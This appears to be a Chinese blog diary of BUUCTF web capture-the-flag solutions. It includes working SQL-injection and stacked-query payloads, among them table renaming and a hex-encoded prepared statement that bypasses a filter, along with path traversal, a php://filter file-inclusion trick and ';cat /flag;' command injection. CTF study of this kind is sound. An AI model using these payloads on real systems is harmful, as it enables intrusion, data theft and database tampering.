BUUCTF(刷题日记)

文章目录

  • 前言
  • 一、[极客大挑战 2019]EasySQL
  • 二、[极客大挑战 2019]Havefun
  • 三、[HCTF 2018]WarmUp
  • 四、[ACTF2020 新生赛]Include
  • 五、 [ACTF2020 新生赛]Exec
  • 六、[强网杯 2019]随便注
  • 总结


前言

web刷题记录


一、[极客大挑战 2019]EasySQL

BUUCTF(刷题日记)_第1张图片首先使用万能密码:1’ or1=1#
BUUCTF(刷题日记)_第2张图片直接拿到flag
在这里插入图片描述

二、[极客大挑战 2019]Havefun

BUUCTF(刷题日记)_第3张图片
F12查看源码说需要用get方式传入cat参数并且cat=dog拿到flag
在这里插入图片描述

三、[HCTF 2018]WarmUp

查看源码
BUUCTF(刷题日记)_第4张图片看到有一个source.php文件直接进行访问
BUUCTF(刷题日记)_第5张图片发现里面还有一个hint.php文件访问一下
BUUCTF(刷题日记)_第6张图片
应该和翻阅目录有关审计一下source.php里面的代码

  //主函数
    if (! empty($_REQUEST['file'])   //判断$_REQUEST['file']不为空
        && is_string($_REQUEST['file']) //$_REQUEST['file']字符串
        && emmm::checkFile($_REQUEST['file'])//可以同过主函数校检
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
"; } //emmm类 class emmm { public static function checkFile(&$page)//将传入的参数赋值给$page { $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组 if (! isset($page) || !is_string($page)) {//如果不存在$page或者$page不是字符串返回false echo "you can't see it"; return false; } if (in_array($page, $whitelist)) {//判断数组$page是否在$whitelist中 return true; } $_page = mb_substr(//只取?号前的部分如果没有就截取整个$page $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) {//判断数组$page是否在$whitelist中 return true; } $_page = urldecode($page);//对$pagej进行url编码 $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) {/判断数组$page是否在$whitelist中 return true; } echo "you can't see it"; return false; } }

这里有两个思路
一.
使用两个?进行目录翻阅…/
BUUCTF(刷题日记)_第7张图片
用了5个…/
二.
就是对?进行两次url编码这样再传参的时候网站进行一次解码然后函数会进行一次解码?经过两次编码后是%253F
BUUCTF(刷题日记)_第8张图片拿到flag

四、[ACTF2020 新生赛]Include

BUUCTF(刷题日记)_第9张图片
点开后
BUUCTF(刷题日记)_第10张图片
题目也正好的是includePHP伪协议使用?file=php://filter/convert.base64-encode/resource=flag.php转换成base64查看解码一下就行
BUUCTF(刷题日记)_第11张图片

五、 [ACTF2020 新生赛]Exec

BUUCTF(刷题日记)_第12张图片
抓个包
BUUCTF(刷题日记)_第13张图片
在后面加个;ls /;查看根目录所有文件,这里没有过滤分号和/
BUUCTF(刷题日记)_第14张图片BUUCTF(刷题日记)_第15张图片
1;cat /flag;直接查看flag文件
BUUCTF(刷题日记)_第16张图片拿到flag

六、[强网杯 2019]随便注

SQL注入先用一下万能密码发现属于数字型单引号注入
BUUCTF(刷题日记)_第17张图片
使用1’ order by x#这里的x是从1开始,到3的时候报错说明有三列
BUUCTF(刷题日记)_第18张图片

发现一些语句被过滤了
使用堆叠注入用分号来代替union

1';show tables;爆表

BUUCTF(刷题日记)_第19张图片先查一下上面内个表(注意如果一个表名是纯数字的话需要加上反引号``查询)
BUUCTF(刷题日记)_第20张图片
flag在这里面但是查看不了可能被过滤了然后看大佬写的博客
借鉴 : 链接: BBUTF随便注

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

拿到flag
还有一个大佬写的
借鉴buuoj强网杯2019随便注

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

总结

使用;ls/;(查看所有根目录)
SQL中的rename语法和alter

第一篇完下次在见

你可能感兴趣的:(php,服务器,apache,sql)